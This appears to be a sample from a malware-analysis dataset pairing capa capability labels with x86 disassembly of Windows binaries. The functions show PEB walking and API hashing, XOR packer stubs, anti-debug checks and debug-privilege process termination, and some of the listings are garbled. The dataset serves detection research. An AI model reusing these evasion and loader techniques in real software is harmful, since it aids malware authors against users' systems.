joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4022fd
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x20
mov eax, dword [0x4813c0]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x30]
xor ebp, ebp
push edi
mov eax, dword [esi + 0x3c]
mov ebx, dword [eax + esi + 0x78]
add ebx, esi
mov edi, dword [ebx + 0x20]
mov eax, dword [ebx + 0x18]
add edi, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x402366
mov eax, dword [edi]
lea ecx, [esp + 0x14]
add eax, esi
push eax
call fcn.00401b4a
lea eax, [esp + 0x14]
push 0x235
push eax
call fcn.00403a65
pop ecx
pop ecx
cmp eax, dword [esp + 0x38]
je 0x40237e
lea ecx, [esp + 0x14]
add edi, 4
call fcn.00402e72
inc ebp
cmp ebp, dword [esp + 0x10]
jb 0x40232e
xor edi, edi
mov ecx, dword [esp + 0x2c]
lea eax, [esi + edi]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00406114
add esp, 0x20
ret
mov eax, dword [ebx + 0x24]
lea eax, [eax + ebp*2]
movzx ecx, word [eax + esi]
mov eax, dword [ebx + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + esi]
lea ecx, [esp + 0x14]
call fcn.00402e72
jmp 0x402368

Function at 0x403ee0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ecx
push esi
push edi
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x4822f0], eax
push 0x27
push 0x480e10
push 0x547
mov esi, 0x480e38
push esi
call fcn.0040239c
push 0x8aafdc01
push dword [0x4822f0]
call fcn.004022fd
add esp, 0x18
lea ecx, [esp + 8]
push ecx
push 0x40
push 0x4e4
push esi
call eax
pop edi
pop esi
test eax, eax
je 0x403f40
call fcn.00403de5
xor eax, eax
pop ecx
ret 0x10
Function at 0x418050
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00417ec1

Function at 0x41844a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00407010
mov eax, dword [0x4813c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.004161cb
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x41848c
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x4185e8
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.004218d0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x482d90]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00419441
mov ecx, dword [esi*4 + 0x482d90]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x4185e1
cmp eax, dword [edi + ecx + 0x24]
jne 0x4185e1
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4185e1
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00419441
add esp, 0x14
test edx, edx
jl 0x4185e1
jg 0x418557
test eax, eax
jb 0x4185e1
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x4185e1
jl 0x418571
cmp dword [ebp - 0x1008], eax
ja 0x4185e1
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x41858f
test ebx, ebx
je 0x4185c8
cmp ecx, edi
jae 0x4185c8
mov al, byte [ecx]
cmp al, 0xd
jne 0x4185a9
lea eax, [edi - 1]
cmp ecx, eax
jae 0x4185b5
cmp byte [ecx + 1], 0xa
jne 0x4185b5
inc ecx
jmp 0x4185b5
movzx eax, al
movsx eax, byte [eax + 0x481698]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x41858f
cmp edx, ebx
jne 0x41858f
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x4185e6
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00406114
leave
ret
Function at 0x4188df
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x482d90]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41891f
cmp byte [ebx], 0xa
jne 0x41891f
or byte [eax + edi + 0x28], 4
jmp 0x418924
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x418a22
mov al, byte [edx]
cmp al, 0x1a
je 0x418a04
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x418953
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x418978
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x418982
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x418935
jmp 0x418a22
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4189ff
cmp dword [ebp - 0xc], 0
je 0x4189ff
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x482d90]
test byte [eax + edi + 0x28], 0x48
je 0x4189d9
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x4189c4
mov byte [esi], dl
jmp 0x4189d5
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x482d90]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x418a22
cmp byte [ebp - 1], 0xa
jne 0x4189e8
cmp esi, ebx
jne 0x4189e8
mov byte [esi], 0xa
jmp 0x418a21
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041945f
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x418a22
mov byte [esi], 0xd
jmp 0x418a21
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x482d90]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x418a1e
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x418a22
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x418a2b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x482d90]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x418a6e
cmp word [esi], dx
jne 0x418a6e
or byte [edi + eax + 0x28], 4
jmp 0x418a73
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x418bc6
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x418ba6
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x418ab5
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x418aeb
cmp eax, edx
jae 0x418af7
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x418a8d
jmp 0x418bc6
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x418ba2
cmp dword [ebp - 0x14], 0
je 0x418ba2
mov eax, dword [ebx*4 + 0x482d90]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x418b7a
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x418b43
mov word [esi], cx
jmp 0x418b76
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x482d90]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x482d90]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x482d90]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x418bc6
pop ebx
cmp word [ebp - 4], bx
jne 0x418b8b
cmp esi, dword [ebp + 0xc]
jne 0x418b8b
mov word [esi], bx
jmp 0x418bc3
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0041945f
add esp, 0x10
cmp word [ebp - 4], bx
je 0x418bc6
push 0xd
jmp 0x418bbf
mov ecx, dword [ebx*4 + 0x482d90]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x418bbd
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x418bc6
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43301e
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x404a60
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0xc]
push ebx
mov al, 0x57
lea edx, [eax + 7]
and edx, 0xffffffc8
cmp edx, eax
jo 0x404abb
or byte [ecx + 0x1d73f855], cl
mov eax, dword [eax + 0x20]
test eax, eax
je 0x52404ccd
push 0xc
call [0x3304c483]
mov ds, word [edi + 0x5e]
pop ebx
mov ebx, esp
pop ebp
ret 0xb
fsub qword [esi + 0x2d10598b]
sti
cmp edx, edi
ja 0x404ada
ret
mov edi, dword [eax + 0x18]
lea ebx, [edx + 0xf001017]
and ebx, 0xfffff000
cmp esp, dword [ebp + 0x1d]
sbb ebp, esp
jb 0x404cbf
cmp ebx, 0x2000
pop ss
or bh, byte [eax]
inc ebp
or al, 0
and byte [edx], bh
adc cl, byte [ebx - 0x2c98f324]
shr edx, 0xc
invalid
and ch, byte [ebx - 4]

Function at 0x404f60
Capabilities:
Resolve function by parsing pe exports

Disassembly:
loop 0x404fba
add byte [eax], al
fbstp tbyte [ecx + 0x38]
push ebx
js 0x40501c
and cl, byte [ebx - 0x41]

Function at 0x405259
Capabilities:
Access peb ldr_data

Disassembly:
pop esi
repne movsb byte es:[edi], byte [esi]
call 0x405259
nop
jmp 0x40523a
mov ebx, 0xa2a1de0
push 0x9dbd95a6
call ebp
cmp al, 6
jl 0x405254
cmp bl, 0xe0
jne 0x405254
mov ebx, 0x6f721347
push 0
push ebx
call ebp
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
push 0x160d6838
call ebp
pop eax
pop eax
popal
jmp 0x40536c
fldpi
wait
fnstenv [esp - 0xc]
xor edx, edx
mov dl, 0x77
xor ecx, ecx
mov esi, dword fs:[ecx + 0x30]
mov esi, dword [esi + 0xc]
mov esi, dword [esi + 0x1c]
mov eax, dword [esi + 8]
mov edi, dword [esi + 0x20]
mov esi, dword [esi]
cmp byte [edi + 0x18], cl
jne 0x405383
pop ecx
add ecx, edx
jmp ecx

Function at 0x405270
Capabilities:
Access peb ldr_data
Encode data using xor

Disassembly:
call fcn.0040522c
and sp, 0xfffc
xor esi, esi
mov esi, dword fs:[esi + 0x30]
mov esi, dword [esi + 0xc]
mov esi, dword [esi + 0x1c]
push esi
mov si, 0x1aaa
pop edi
mov ebp, dword [edi + 8]
push dword [edi]
mov ebx, dword [ebp + 0x3c]
mov ebx, dword [ebp + ebx + 0x78]
add ebx, ebp
mov ecx, dword [ebx + 0x18]
jcxz 0x40528b
mov edi, dword [ebx + 0x20]
add edi, ebp
mov edi, dword [edi + ecx*4 - 4]
add edi, ebp
xor eax, eax
cdq
xor dl, byte [edi]
ror dx, 1
scasb al, byte es:[edi]
jne 0x4052ae
dec ecx
cmp dx, si
je 0x4052c5
jcxz 0x40528b
jmp 0x4052a0
mov esi, dword [ebx + 0x24]
add esi, ebp
movzx esi, word [esi + ecx*2]
mov eax, dword [ebx + 0x1c]
add eax, ebp
mov edi, dword [eax + esi*4]
add edi, ebp
xor esi, esi
cmp dx, 0xf0da
je 0x4052fc
cmp dx, 0x2769
je 0x405308
push 0x32
push 0x33656c6f
push esp
call edi
xchg ebp, eax
mov si, 0xf0da
jmp 0x405291
push esi
call edi
mov si, 0x2769
jmp 0x405291
push 0xd422046e
push 0x99efeca1
push 0x499272b9
push 0x6c44df74
mov eax, esp
push 0x9673794f
push 0xc001e39e
dec dword [esp + 2]
push 0x11d23391
push 0x96749377
mov ebx, esp
push esi
push esp
push eax
push 0x17
push esi
push ebx
call edi
pop ebx
push 0x5520676f
push 0x7420706f
push 0x686e6421
xchg esi, eax
mov esi, esp
push eax
lodsb al, byte [esi]
push ax
cmp al, 0x55
jne 0x405355
mov ecx, esp
xor eax, eax
push eax
push eax
push ecx
push ebx
mov edx, dword [ebx]
mov ecx, dword [edx + 0x50]
call ecx
int3
Function at 0x40b080
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov ebp, dword [ebx + 8]
push edi
mov edi, dword [ebp + 0x10]
mov eax, dword [esi + 0x10]
mov ecx, dword [esi - 0x7d]
or eax, ecx
and eax, 0x1045
xchg esp, eax
add byte [ebp + 0x71], dh
mov al, byte [esi - 0x36]
test al, al
je 0x40b10d
mov edx, dword [esi + 4]
xor cl, byte [ebp + 8]
push 0xffffffffffffffbe
push ecx
push 0
push 0xc
push 0
int3
mov esp, dword [esp + ecx - 0x7b]
sal byte [ebx - 0x76], 0x4e
or byte [ecx + ecx*8 + 0x4e8b1c75], al
push eax
mov dword [eax + 8], ecx
mov eax, dword [esi + 0xc]
mov edx, dword [esi + 0x54]
and bl, bh
add byte [eax], al
call fcn.0040b810
mov edx, dword [esi + 0xc]
mov dword [edx + 0xc], eax
mov eax, dword [esi + 0xc]
mov edx, dword [ebp + 0xc]
mov ecx, 0x501098c5
mov eax, dword [esi + 4]
push ecx
fldcw word [edx]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test dword [esp + esi*2 + 7], esp
xor esi, edx
jmp 0x4aeeb264
Function at 0x4028a0
Capabilities:
Create thread
Terminate process

Disassembly:
push esi
call section..text
push str.Diamo_Mn
push 1
push 0
call dword [0x421ecc]
mov esi, eax
test esi, esi
je 0x4028d7
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4028d7
push esi
call dword [0x421e2c]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4028e9
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.0040c1c0
push 0
push 0
push 0x41d375
push 0x401ef0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
lea esp, [esp]
push 0xc350
call esi
jmp 0x402910
Function at 0x40dcd5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4202f0]
jne 0x40dcdf
repz ret
jmp fcn.00412fca

Function at 0x41744c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4202f0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004128a3
and dword [ebp - 0x14], 0
cmp dword [0x421dd0], 0
mov dword [ebp - 0x18], eax
jne 0x4174ff
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4175a7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4175a7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x421dd0], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x421dd4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x421dd8], eax
call edi
push eax
call esi
mov dword [0x421de0], eax
test eax, eax
je 0x4174ff
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x421ddc], eax
mov eax, dword [0x421ddc]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x417558
cmp dword [0x421de0], ecx
je 0x417558
push eax
call esi
push dword [0x421de0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x417558
test ebx, ebx
je 0x417558
call edi
test eax, eax
je 0x41754f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41754f
test byte [ebp - 8], 1
jne 0x417558
or dword [ebp + 0x10], 0x200000
jmp 0x41758b
mov eax, dword [0x421dd4]
cmp eax, dword [ebp - 0x18]
je 0x41758b
push eax
call esi
test eax, eax
je 0x41758b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41758b
mov eax, dword [0x421dd8]
cmp eax, dword [ebp - 0x18]
je 0x41758b
push eax
call esi
test eax, eax
je 0x41758b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x421dd0]
call esi
test eax, eax
je 0x4175a7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4175a9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040dcd5
leave
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x4136b4
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x57c
and esp, 0xfffffff0
mov dword [esp + 4], 0xffffffff
mov dword [esp], 0x3ff
push esp
call dword [sym.imp.KERNEL32.dll_QueryDepthSList]
cmp eax, 0x3ff
jae 0x413698
adc ch, al
pop ss
add byte [eax], al
add byte [ebx + 0xc7400f8], al
call 0x4136b4
cmp eax, 0
je 0x4136ae
jmp eax
leave
push eax
add byte [eax], dl
inc esp
add byte [edx + ebp*2], dl
mov eax, 0xffffffff
push eax
push eax
call dword [sym.imp.KERNEL32.dll_LZCopy]
cmp eax, 0xffffffff
jne 0x4136cb
call dword [sym.imp.ODBC32.dll_SQLGetTypeInfoW]
and eax, 0x7fff
sub ax, 0x7ffc
ror eax, 0xff
rol eax, 2
push esp
push 0
call dword [eax*4 + sym.imp.KERNEL32.dll_OpenEventW]
and eax, 6
add ax, 0xffab
or eax, 0xffff0000
cld
nop
cld
nop
add eax, 0x41382d
pop ecx
jmp ecx
push 0x25004410
invalid
Function at 0x401000
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x13c
mov eax, dword [0x412004]
xor eax, esp
mov dword [esp + 0x134], eax
mov eax, dword [0x413cb4]
push esi
push edi
test eax, eax
je 0x401077
cmp eax, 5
ja 0x40102a
jne 0x4010c1
push 0
push 2
or edi, 0xffffffff
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x4010e5
lea eax, [esp + 0x10]
push eax
push esi
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x4010e5
lea esp, [esp]
cmp ebx, dword [esp + 0x18]
je 0x4010da
lea ecx, [esp + 0x10]
push ecx
push esi
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x401060
jmp 0x4010de
lea eax, [esp + 0xc]
push eax
push 0x64
push 0
mov dword [esp + 0x18], 0
call sub.NETAPI32.dll_NetWkstaGetInfo
test eax, eax
jne 0x4010c1
mov eax, dword [esp + 0xc]
mov ecx, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
push eax
mov dword [0x413cb4], ecx
mov dword [0x413cb8], edx
call sub.NETAPI32.dll_NetApiBufferFree
mov eax, dword [0x413cb4]
cmp eax, 5
ja 0x40102a
je 0x40102a
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x134]
xor ecx, esp
call fcn.00402478
add esp, 0x13c
ret
mov edi, dword [esp + 0x28]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [esp + 0x13c]
mov eax, edi
pop edi
pop esi
xor ecx, esp
call fcn.00402478
add esp, 0x13c
ret

Function at 0x401100
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x138
mov eax, dword [0x412004]
xor eax, esp
mov dword [esp + 0x130], eax
mov eax, dword [0x413cb4]
push esi
test eax, eax
je 0x40116f
cmp eax, 5
ja 0x401129
jne 0x4011b9
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x4011e9
lea eax, [esp + 8]
push eax
push esi
mov dword [esp + 0x10], 0x128
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x4011e9
cmp edi, dword [esp + 0x10]
je 0x4011d1
lea ecx, [esp + 8]
push ecx
push esi
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x401158
jmp 0x4011e2
lea eax, [esp + 4]
push eax
push 0x64
push 0
mov dword [esp + 0x10], 0
call sub.NETAPI32.dll_NetWkstaGetInfo
test eax, eax
jne 0x4011b9
mov eax, dword [esp + 4]
mov ecx, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
push eax
mov dword [0x413cb4], ecx
mov dword [0x413cb8], edx
call sub.NETAPI32.dll_NetApiBufferFree
mov eax, dword [0x413cb4]
cmp eax, 5
ja 0x401129
je 0x401129
xor eax, eax
pop esi
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.00402478
add esp, 0x138
ret
xor eax, eax
mov cl, byte [esp + eax + 0x2c]
mov byte [eax + 0x413ae0], cl
inc eax
test cl, cl
jne 0x4011d3
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [esp + 0x134]
pop esi
xor ecx, esp
mov eax, 1
call fcn.00402478
add esp, 0x138
ret
Function at 0x4012c0
Capabilities:
Acquire debug privileges
Enumerate processes
Print debug messages
Terminate process
Terminate process by name

Disassembly:
sub esp, 0x1c8
mov eax, dword [0x412004]
xor eax, esp
mov dword [esp + 0x1c4], eax
mov eax, dword [esp + 0x1cc]
push ebx
push ebp
push esi
push edi
push 0x124
lea ecx, [esp + 0x30]
push 0
push ecx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x34], 0
call fcn.00408e00
add esp, 0xc
lea edx, [esp + 0x14]
push edx
push 0x28
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x401443
mov edi, dword [esp + 0x14]
lea eax, [esp + 0x18]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x401443
push 1
lea esi, [esp + 0x1c]
call fcn.00401210
add esp, 4
test eax, eax
je 0x401443
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov esi, eax
mov dword [esp + 0x18], esi
cmp esi, 0xffffffff
je 0x401410
lea ecx, [esp + 0x28]
push ecx
push esi
mov dword [esp + 0x30], 0x128
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x401409
mov ebp, dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov edi, dword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov ebx, dword [sym.imp.KERNEL32.DLL_Sleep]
lea edx, [esp + 0x4c]
push edx
push 0x410490
lea edx, [esp + 0x158]
call fcn.00402420
mov eax, dword [esp + 0x28]
push eax
lea ecx, [esp + 0x15c]
push ecx
call fcn.00402635
add esp, 0x10
test eax, eax
jne 0x4013fa
mov edx, dword [esp + 0x30]
push edx
push eax
push 1
call ebp
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
test esi, esi
je 0x4013eb
push 0xffffffffffffffff
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x1e
call ebx
jmp 0x4013f6
push str.OpenProcess_error_
call dword [sym.imp.KERNEL32.DLL_OutputDebugStringA]
mov esi, dword [esp + 0x18]
lea eax, [esp + 0x28]
push eax
push esi
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x401394
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edi, dword [esp + 0x14]
lea ecx, [esp + 0x20]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x401438
push 0
lea esi, [esp + 0x24]
call fcn.00401210
add esp, 4
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [esp + 0x1d4]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00402478
add esp, 0x1c8
ret